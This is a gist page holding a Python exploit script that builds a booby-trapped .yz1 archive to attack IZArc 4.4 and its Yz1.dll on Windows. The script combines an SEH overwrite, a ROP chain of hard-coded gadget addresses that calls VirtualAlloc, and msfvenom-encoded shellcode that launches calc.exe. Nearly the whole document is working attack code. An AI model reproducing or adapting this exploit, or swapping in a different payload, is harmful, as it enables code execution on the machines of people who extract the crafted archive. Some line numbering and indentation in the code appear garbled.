

illikainen / yz1-exploit.py Secret

Created 2 years ago

☆ Star

&lt;&gt; Code ↻ Revisions 1

yz1-exploit.py

```

1  # Author
2  # =====
3  # Copyright (c) 2020, Hans Jerry Illikainen <hji@dyntopia.com>
4  #
5  # Target
6  # =====
7  # IZArc 4.4 running on Windows 10 64bit (although both IZArc and Yz1 are
8  # 32bit-only)
9  #
10 # Usage
11 # =====
12 # C:\python3-x86\python.exe exploit.py \
13 #     --dll C:\path\to\Yz1.dll \
14 #     --output archive.yz1 \
15 #     --align path-or-number-in-range(4)
16 #
17 # Note that the extraction path is suffixed the buffer with our payload.
18 # In order to overwrite the SEH on an appropriate DWORD boundary we have
19 # to make sure that the payload is aligned with regards to the
20 # extraction path. This is done by taking the length of the extraction
21 # path (including the last '\') modulo 4. Thus, we have a 1 in 4 shot
22 # for success if the extraction path is completely unknown.
23 #
24 # The '--align' argument can either take a path (in which case it's
25 # converted to an integer by 'len(path) % 4') or a number in the
26 # interval [0, 4). See the writeup for an explanation on this ugliness.
27 #
28 # Also, while the bugs affect the newest version of Yz1 (0.32), the
29 # breakpoints are tailored for version 0.30 because that's the version
30 # shipped with IZArc. Either download Yz1.dll 0.30 from the official
31 # site or use the DLL that comes bundled with IZArc.
32
33 import sys
34 from argparse import ArgumentParser
35 from contextlib import contextmanager
36 from ctypes import CDLL, c_uint, c_ushort, windll
37 from ctypes.wintypes import MAX_PATH
38 from multiprocessing import Process
39 from os import chdir, getcwd
40 from pathlib import Path
41 from shutil import rmtree
42 from struct import pack, unpack
43 from tempfile import TemporaryDirectory
44
45 try:
46     import pykd
47 except ImportError:
48     sys.exit(
49         "The standalone pykd module is required.\n"
50         f"Install it with '{sys.executable}' -m pip install pykd"
51     )
52
53 # $ msfvenom -b '\x00' -f py -v shellcode -e x86/bloxor -a x86 \
54 #     -p windows/exec CMD=calc.exe
55 shellcode = b""
56 shellcode += b"\xe8\xff\xff\xff\xcc\x5a\x6a\x05\x5b\x29"
57 shellcode += b"\xda\x6a\x43\x03\x14\x24\x5b\x52\x59\x8d\x49"
58 shellcode += b"\x02\x6a\x61\x5e\x0f\xb7\x01\x8d\x49\x02\x8b"
59 shellcode += b"\x3a\xc1\xe7\x10\xc1\xef\x10\x89\xfb\x09\xc3"
60 shellcode += b"\x21\xc7\xf7\xd7\x21\xdf\x66\x57\x66\x8f\x02"
61 shellcode += b"\x8d\x52\x02\x4e\x85\xf6\x0f\x85\xd7\xff\xff"
62 shellcode += b"\xff\x9e\x1f\x62\xf7\xe0\xf7\xe0\xf7\x80\xe7"
63 shellcode += b"\x65\x4f\xa5\x2b\x2e\x7b\x1e\xf0\x4c\xfc\xc7"
64 shellcode += b"\xae\xd3\x25\xa1\x0d\xae\xba\xe4\x9c\xdc\x63"
65 shellcode += b"\x79\x5f\x18\x23\x1a\x0f\x3a\xce\xf5\xc3\xf4"
66 shellcode += b"\x04\x16\xf6\x44\xcf\xf3\xdf\x78\x95\x44"
67 shellcode += b"\x1e\x08\x0f\x70\xec\x38\xed\x9e\xbc\x62\xe5"
68 shellcode += b"\x42\xe4\x91\x6f\xd8\x77\x3b\x4d\x72\xcc\x46"
69 shellcode += b"\x4d\x47\x9b\x76\x64\xda\xa5\x15\xa8\x14\x6f"
70 shellcode += b"\x2c\x8f\x59\x79\x5a\x84\xa2\x3f\xdf\x1b\xaa"
71 shellcode += b"\xff\xf2\x74\xaa\x50\xab\x83\xcd\x08\xc1\x43"
72 shellcode += b"\x4a\x1b\x56\x1a\x85\x91\x81\x1a\x80\xca\x09"
73 shellcode += b"\x8e\x2d\xaa\x76\xf1\x17\xa8\x4d\xf9\xb2\x19"
74 shellcode += b"\xed\x46\xb7\xcd\xa5\x26\x28\x7b\x42\x7a\xcf"
75 shellcode += b"\xff\x7d\xff\x7d\xff\x2d\x97\x1c\x1c\x73\x9b"
76 shellcode += b"\x8c\x4e\x37\xbe\x82\x1c\x4d\x74\x7e\x1c"
77 shellcode += b"\x7c\x30\xa9\x0c\xaf\x70\xa5\xf0\x5e\x18\x2b"
78 shellcode += b"\x15\x90\x52\x83\x20\xec\x4a\xec\x19\x13\xcc"
79 shellcode += b"\x70\xad\x1c\xce\x32\xab\x4a\xce\x4a\x55"
80
81

```

```

82 class EventHandler(pykd.eventHandler):
83     _breakpoints = {}
84     _pending_breakpoints = {}
85
86     def __init__(self, breakpoints):
87         super().__init__()
88         self._pending_breakpoints = breakpoints
89
90     def onLoadModule(self, base, name):
91         for offset, cb in self._pending_breakpoints.get(name.lower(), []):
92             if name not in self._breakpoints:
93                 self._breakpoints[name] = []
94                 self._breakpoints[name].append(pykd.setBp(base + offset, cb))
95         return pykd.eventResult.NoChange
96
97
98 @contextmanager
99 def tmpdir():
100     cwd = getcwd()
101     with TemporaryDirectory() as tmp:
102         chdir(tmp)
103         try:
104             yield
105         finally:
106             chdir(cwd)
107
108
109 def errx(s):
110     print(f"ERROR: {s}", file=sys.stderr)
111     sys.exit(1)
112
113
114 def p8(n, order="<"):
115     return pack(f"{order}B", n)
116
117
118 def p32(n, order="<"):
119     return pack(f"{order}I", n)
120
121
122 def u16(n, order="<"):
123     return unpack(f"{order}H", n)[0]
124
125
126 def u32(n, order="<"):
127     return unpack(f"{order}I", n)[0]
128
129
130 def has_nul(n):
131     return any((n >> (8 * i)) & 0xff == 0 for i in range(4))
132
133
134 def neg(n):
135     value = c_uint(-n).value
136     if has_nul(value):
137         errx(f"-{n} contain NUL bytes")
138     return value
139
140
141 def create_archive(dll, output, align):
142     cdll = CDLL(str(dll))
143
144     cdll.Yz1GetVersion.restype = c_ushort
145     if cdll.Yz1GetVersion() != 30:
146         errx("breakpoints are tailored for yz1 version 30")
147
148     # fmt: off
149     gadgets = [
150         #####
151         # SEH overwrite
152         #####
153         p8(0xff) * (2052 - MAX_PATH - align),
154
155         # [00] tar32.dll
156         #
157         # add esp, 0x139c
158         # ret
159         p32(0x10015344) * int(MAX_PATH / 4),
160
161         p32(0xffffffff) * 250,
162
163         #####
164         # VirtualAlloc() flProtect
165         #####
166         # [01] cabinet5.dll
167         #
168         # ret
169         p32(0x7e0c15e5) * 100,
170
171         # [02] tar32.dll
172         #
173         # pop eax
174         # ret
175         p32(0x10033825),
176         p32(neg(0x40)),
177
178         # [03] cabinet5.dll
179         #

```

```

180     # neg eax
181     # ret
182     p32(0x7e0c6a07),
183
184     # [04] tar32.dll
185     #
186     # mov dword ptr [ebp + 8], eax
187     # pop ecx                ;; noise
188     # mov eax, 0x10029e04    ;; noise
189     # ret
190     p32(0x10029dfa),
191     p32(0xffffffff),
192
193     # [05] tar32.dll
194     #
195     # dec ebp
196     # or al, 0x75            ;; noise
197     # ret
198     p32(0x1003def6) * 4,
199
200     #####
201     # VirtualAlloc() flAllocationType
202     #####
203     # [06] tar32.dll
204     #
205     # pop eax
206     # ret
207     p32(0x10033825),
208     p32(neg(0x1000 - 1)),
209
210     # [07] cabinet5.dll
211     #
212     # dec eax
213     # ret
214     p32(0x7e0c16d8),
215
216     # [08] cabinet5.dll
217     #
218     # neg eax
219     # ret
220     p32(0x7e0c6a07),
221
222     # [09] tar32.dll
223     #
224     # mov dword ptr [ebp + 8], eax
225     # pop ecx                ;; noise
226     # mov eax, 0x10029e04    ;; noise
227     # ret
228     p32(0x10029dfa),
229     p32(0xffffffff),
230
231     # [10] tar32.dll
232     #
233     # dec ebp
234     # or al, 0x75            ;; noise
235     # ret
236     p32(0x1003def6) * 4,
237
238     #####
239     # VirtualAlloc() dwSize
240     #####
241     # [11] tar32.dll
242     #
243     # push 1
244     # pop eax
245     # ret
246     p32(0x10033823),
247
248     # [12] tar32.dll
249     #
250     # mov dword ptr [ebp + 8], eax
251     # pop ecx                ;; noise
252     # mov eax, 0x10029e04    ;; noise
253     # ret
254     p32(0x10029dfa),
255     p32(0xffffffff),
256
257     # [13] tar32.dll
258     #
259     # dec ebp
260     # or al, 0x75            ;; noise
261     # ret
262     p32(0x1003def6) * 4,
263
264     #####
265     # VirtualAlloc() lpAddress
266     #####
267     # [14] tar32.dll
268     #
269     # push esp
270     # add eax, 0x20
271     # pop ebx
272     # ret
273     p32(0x10031fed),
274
275     # [15] tar32.dll
276     #
277     # mov eax, ebx

```

```

278 # pop esi          ;; noise
279 # pop ebx          ;; noise
280 # ret
281 p32(0x1002f8ec),
282 p32(0xffffffff),
283 p32(0xffffffff),
284
285 # [16] tar32.dll
286 #
287 # add eax, 0x20
288 # pop ebx          ;; noise
289 # ret
290 *[
291     p32(0x10031fee),
292     p32(0xffffffff),
293 ] * 4,
294
295 # [17] tar32.dll
296 #
297 # mov dword ptr [ebp + 8], eax
298 # pop ecx          ;; noise
299 # mov eax, 0x10029e04 ;; noise
300 # ret
301 p32(0x10029dfa),
302 p32(0xffffffff),
303
304 # [18] tar32.dll
305 #
306 # dec ebp
307 # or al, 0x75      ;; noise
308 # ret
309 p32(0x1003def6) * 4,
310
311 #####
312 # VirtualAlloc() return address
313 #####
314 # [19] tar32.dll
315 #
316 # push esp
317 # add eax, 0x20    ;; noise
318 # pop ebx
319 # ret
320 p32(0x10031fed),
321
322 # [20] tar32.dll
323 #
324 # mov eax, ebx
325 # pop esi          ;; noise
326 # pop ebx          ;; noise
327 # ret
328 p32(0x1002f8ec),
329 p32(0xffffffff),
330 p32(0xffffffff),
331
332 # [21] tar32.dll
333 #
334 # add eax, 0x20
335 # pop ebx          ;; noise
336 # ret
337 *[
338     p32(0x10031fee),
339     p32(0xffffffff),
340 ] * 4,
341
342 # [22] tar32.dll
343 #
344 # mov dword ptr [ebp + 8], eax
345 # pop ecx          ;; noise
346 # mov eax, 0x10029e04 ;; noise
347 # ret
348 p32(0x10029dfa),
349 p32(0xffffffff),
350
351 # [23] tar32.dll
352 #
353 # dec ebp
354 # or al, 0x75      ;; noise
355 # ret
356 p32(0x1003def6) * 4,
357
358 #####
359 # VirtualAlloc() IAT in tar32.dll
360 #####
361 # [24] tar32.dll
362 #
363 # pop eax          ;; IAT slot for VirtualAlloc()
364 # ret
365 p32(0x10033825),
366 p32(0x100411a0),
367
368 # [25] tar32.dll
369 #
370 # mov eax, dword ptr [eax]
371 # ret
372 p32(0x100297ce),
373
374 # [26] tar32.dll
375 #

```

```

376     # mov dword ptr [ebp + 8], eax
377     # pop ecx                ;; noise
378     # mov eax, 0x10029e04    ;; noise
379     # ret
380     p32(0x10029dfa),
381     p32(0xffffffff),
382
383     # [27] tar32.dll
384     #
385     # inc ebp
386     # or al, 3                ;; noise
387     # ret
388     p32(0x1003b3ba) * 4,
389
390     #####
391     # VirtualAlloc() -> shellcode
392     #####
393     # [28] tar32.dll
394     #
395     # mov esp, ebp
396     # pop ebp
397     # ret
398     p32(0x1002e9e0),
399
400     p32(0x90909090) * 5,
401     shellcode,
402     p32(0x90909090) * 200,
403 ]
404 # fmt: on
405
406 with open("A" * 0x10, "wb") as f:
407     f.write(b"".join(gadgets))
408
409 # The contents of the files will be interpreted as a filename, so we
410 # need a NUL to prevent an OOB read.
411 with open("B" * 0x10, "wb") as f:
412     f.write(p8(0x0))
413
414 # fmt: off
415 cmd = [
416     "c", # create
417     "-i2", # silent mode
418     "-r0", # non-recursive search
419     "-x0", # don't archive full paths
420     f"\{output}\",
421     "*",
422 ]
423 # fmt: on
424
425 rv = cdll.Yz1(None, " ".join(cmd).encode(), None, 0)
426 if rv:
427     errx(f"yz1 failed with {rv}")
428
429 rewrite_header(output)
430
431 def rewrite_header(output):
432     """
433     Rewrite the size of the archive filenames in the header.
434     """
435     with output.open("rb+") as f:
436         f.seek(4 * 3)
437         size = u32(f.peek(4)[:4], ">")
438         size += sum(x.stat().st_size for x in Path().iterdir())
439         f.write(p32(size, ">"))
440
441 def rewrite_filename():
442     """
443     Overwrite the terminating NUL-byte in the first filename.
444
445     This effectively concatenates the first two filenames.
446     """
447     this = pykd.reg("ecx")
448     buf = pykd.ptrPtr(this + 1036)
449     buf_size = pykd.ptrDWord(this + 1040)
450
451     files = list(Path().iterdir())
452     files_hdr = len(files) * 4 * 2
453     files_len = files_hdr + sum(len(x.name) + 1 for x in files)
454
455     if files_len == buf_size:
456         names = pykd.loadBytes(buf + files_hdr, buf_size - files_hdr)
457         for i, byte in enumerate(names):
458             if byte == 0:
459                 pykd.writeBytes(buf + files_hdr + i, [0x41])
460                 break
461
462 def get_image_base(dll):
463     with dll.open("rb") as f:
464         f.seek(0x3c)
465         f.seek(u16(f.read(2)) + 0x34)
466         return u32(f.read(4))
467
468 def run_pykd(py, dll, output, align):
469     # fmt: off

```

```

474     cmd = [
475         sys.executable,
476         py,
477         f"--dll={dll}\\",
478         f"--output={output}\\",
479         f"--align={align}\\",
480     ]
481     # fmt: on
482
483     base = get_image_base(dll)
484     breakpoints = {"yz1": [(0x10011270 - base, rewrite_filename)]}
485     pykd.initialize()
486     pykd.handler = EventHandler(breakpoints)
487     pykd.startProcess(" ".join(str(x) for x in cmd))
488     pykd.go()
489
490
491     def abspath(path):
492         return Path(path).absolute()
493
494
495     def parse_args():
496         ap = ArgumentParser()
497         ap.add_argument(
498             "--dll",
499             type=abspath,
500             required=True,
501             help="yz1 dll to use for archive creation",
502         )
503         ap.add_argument(
504             "--output", type=abspath, required=True, help="output file"
505         )
506         ap.add_argument(
507             "--align", help="alignment for the prepended extraction path"
508         )
509         ap.add_argument(
510             "--overwrite", action="store_true", help="overwrite output file"
511         )
512         args = ap.parse_args()
513
514         if not args.dll.is_file():
515             errx(f"{args.dll} is not a file")
516
517         if args.output.exists():
518             if not args.overwrite:
519                 errx(f"{args.output} already exist")
520
521             print(f"removing {args.output}")
522             try:
523                 if args.output.is_file():
524                     args.output.unlink()
525                 else:
526                     rmtree(args.output)
527             except OSError as e:
528                 errx(f"could not remove {args.output}: {e.strerror}")
529         else:
530             args.output.parent.mkdir(parents=True, exist_ok=True)
531
532         if args.align:
533             if args.align.isnumeric():
534                 args.align = int(args.align)
535             else:
536                 args.align = len(args.align.rstrip("\").rstrip("/") + "\\") % 4
537         else:
538             args.align = len(str(args.output.with_suffix("")) + "\\") % 4
539
540         if args.align not in range(4):
541             errx(f"--align should either be a path or a digit [0, 4)")
542
543         return args
544
545
546     def main():
547         if sys.maxsize != 2 ** 31 - 1:
548             errx("32bit python required")
549
550         args = parse_args()
551
552         # Yz1 doesn't seem to release its locks on files it touches until
553         # the module is unloaded. Maybe PEBKAC, but neither FreeLibrary(),
554         # pykd.killAllProcesses() nor pykd.deinitialize() seems to be enough
555         # to get rid of it. So, we let pykd/yz1 do their thing in a
556         # subprocess to avoid the tempdir cleanup from failing. Sigh.
557         if not windll.kernel32.IsDebuggerPresent():
558             py = abspath(__file__)
559             with tempdir():
560                 p = Process(
561                     target=run_pykd, args=(py, args.dll, args.output, args.align)
562                 )
563                 p.start()
564                 p.join()
565             else:
566                 create_archive(args.dll, args.output, args.align)
567                 print(f"> created: {args.output}")
568                 print(f"> extraction path alignment: {args.align}")
569
570
571     if __name__ == "__main__":

```

